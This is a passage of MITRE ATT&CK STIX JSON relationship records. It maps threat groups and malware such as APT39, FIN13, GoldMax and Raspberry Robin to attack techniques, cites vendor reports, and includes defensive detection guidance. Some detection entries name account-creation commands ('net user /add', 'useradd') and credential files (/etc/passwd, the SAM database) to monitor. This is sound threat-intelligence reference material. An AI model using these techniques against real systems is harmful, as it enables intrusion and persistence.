Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.686Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has used spear phishing to initially compromise victims.(Citation: Cisco Group 72)(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d73c0fd6-cbd9-4eaa-abca-a1626364ab1b","created":"2020-05-12T18:25:44.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.665Z","description":"(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d741a245-42ea-4bd4-bfb5-5687981e46b3","type":"relationship","created":"2020-12-14T16:43:09.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-14T16:43:09.083Z","description":"(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d747c1d7-646a-4d72-a00b-e2f10ed1f9eb","type":"relationship","created":"2021-10-06T15:29:42.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-10-06T15:29:42.644Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can stage files in a central location prior to exfiltration.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d74917d7-db59-4824-8e5c-7f97ae58f4a8","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for changes made to windows registry keys and/or values modifying W32Time information in the Registry.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7563ead-61fb-4f5e-8832-64ce81c0ecb1","created":"2022-01-10T19:52:49.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.933Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has created a scheduled task for persistence.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d758de81-c572-45dc-94ed-67a4dc1da3fe","type":"relationship","created":"2021-10-07T16:43:58.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:43:58.718Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has used an executable to detect removable media, such as USB flash drives.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.676Z","description":"(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d764b3d2-8ca3-437b-abe4-f54662ccce42","type":"relationship","created":"2022-03-22T20:09:04.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.559Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) has relied upon users clicking on a malicious attachment delivered through spearphishing.(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7699bcf-5732-40f5-a715-d430b00b043e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Backdoor.Mivast","description":"Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.","url":"http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"}],"modified":"2020-03-20T01:57:13.518Z","description":"[Mivast](https://attack.mitre.org/software/S0080) has the capability to download and execute .exe files.(Citation: Symantec Backdoor.Mivast)","relationship_type":"uses","source_ref":"malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d76a4696-ace5-4951-9733-a63a49479240","created":"2024-09-06T22:10:56.980Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:10:56.980Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has renamed tools to match legitimate utilities, such as renaming GOST tunneling instances to `java` in victim environments.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7702458-8b9d-49e8-a494-b5d87681f2c5","created":"2023-07-28T17:45:09.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.958Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has utilized `certutil` to decode base64 encoded versions of custom malware.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d77572dd-686b-44c1-8f4b-55222e2ca908","created":"2024-01-11T19:59:28.225Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-11T19:59:28.225Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can use HTTP for C2 communications.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d77772ff-ead4-49a6-ba55-15b1ff794bd2","created":"2023-03-28T20:30:22.327Z","revoked":false,"external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T20:30:22.327Z","description":"[Remsec](https://attack.mitre.org/software/S0125) has a plugin to detect active drivers of some security products.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d77885d0-46e0-47b7-9cc2-6a396c570b12","type":"relationship","created":"2022-02-17T15:07:29.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}],"modified":"2022-02-17T15:07:29.359Z","description":"(Citation: Symantec Shuckworm January 2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d779c291-3835-45ba-b8a3-16f9b6b32cc2","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T13:20:42.613Z","description":"Monitor executed commands and arguments for actions that are associated with local account creation, such as `net user /add`, `useradd`, `dscl -create`, and `kubectl create serviceaccount`.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d77a4123-3d46-4317-8921-f6eb8c34c585","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T02:07:10.856Z","description":"[PinchDuke](https://attack.mitre.org/software/S0048) collects user files from the compromised host based on predefined file extensions.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--ae9d818d-95d0-41da-b045-9cabea1ca164","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d77aa71a-e37f-4c8e-a4ad-b33a700afb7a","type":"relationship","created":"2021-03-01T21:55:30.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CERT-FR PYSA April 2020","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf","description":"CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021."}],"modified":"2021-03-01T21:55:30.038Z","description":"[Pysa](https://attack.mitre.org/software/S0583) has executed a malicious executable by naming it svchost.exe.(Citation: CERT-FR PYSA April 2020)","relationship_type":"uses","source_ref":"malware--a19c1197-9414-46e3-986f-0f609ff4a46b","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d77b7f23-70ae-490d-9b7a-a166a244ee11","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor the file system for files that have the setuid or setgid bits set.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7836be5-6c99-4a14-90ca-e342455516ab","created":"2022-09-26T21:48:13.506Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T21:48:13.506Z","description":"During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), the threat actors relied on victims executing malicious Microsoft Word or PDF files.(Citation: McAfee Sharpshooter December 2018) ","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7863e39-edec-4c7d-9e60-d16b632fe940","created":"2023-07-14T14:03:49.499Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T14:03:49.499Z","description":"Collect usage logs from accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to high-privileged cluster roles that go over a certain threshold of known admins. ","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d788ad3e-64e3-41ac-9075-2732d95afb57","created":"2024-05-17T15:46:57.518Z","revoked":false,"external_references":[{"source_name":"Microsoft RaspberryRobin 2022","description":"Microsoft Threat Intelligence. (2022, October 27). Raspberry Robin worm part of larger ecosystem facilitating pre-ransomware activity. Retrieved May 17, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T15:46:57.518Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) uses a RunOnce Registry key for persistence, where the key is removed after its use on reboot then re-added by the malware after it resumes execution.(Citation: Microsoft RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7903e1f-f31c-48bc-b7c3-3616cb1a792f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:17.044Z","description":"[RTM](https://attack.mitre.org/software/S0148) can obtain information about security software on the victim.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7983dcd-1970-4d84-82e7-a61d2125caeb","type":"relationship","created":"2019-01-30T16:39:54.476Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.807Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) sets HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load to point to its executable.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7a244fa-f52c-4e54-9088-6f9ccda8b2b9","created":"2020-05-29T14:02:52.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FBI FLASH APT39 September 2020","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.786Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used malware disguised as Mozilla Firefox and a tool named mfevtpse.exe to proxy C2 communications, closely mimicking a legitimate McAfee file mfevtps.exe.(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d7a5af2e-669a-4e52-b29a-579320118b91","created":"2022-03-30T14:26:51.833Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor access to file resources that contain local accounts and groups information such as /etc/passwd, /Users directories, and the SAM database. \n\nIf access requires high privileges, look for non-admin objects (such as users or processes) attempting to access restricted file resources.","modified":"2022-04-14T14:01:00.795Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7a5d884-d3d9-48c8-915f-75d29d4b259e","type":"relationship","created":"2021-03-12T16:55:09.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-03-12T17:29:55.648Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) will check if it is being run in a virtualized environment by comparing the collected MAC address to c8:27:cc:c2:37:5a.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 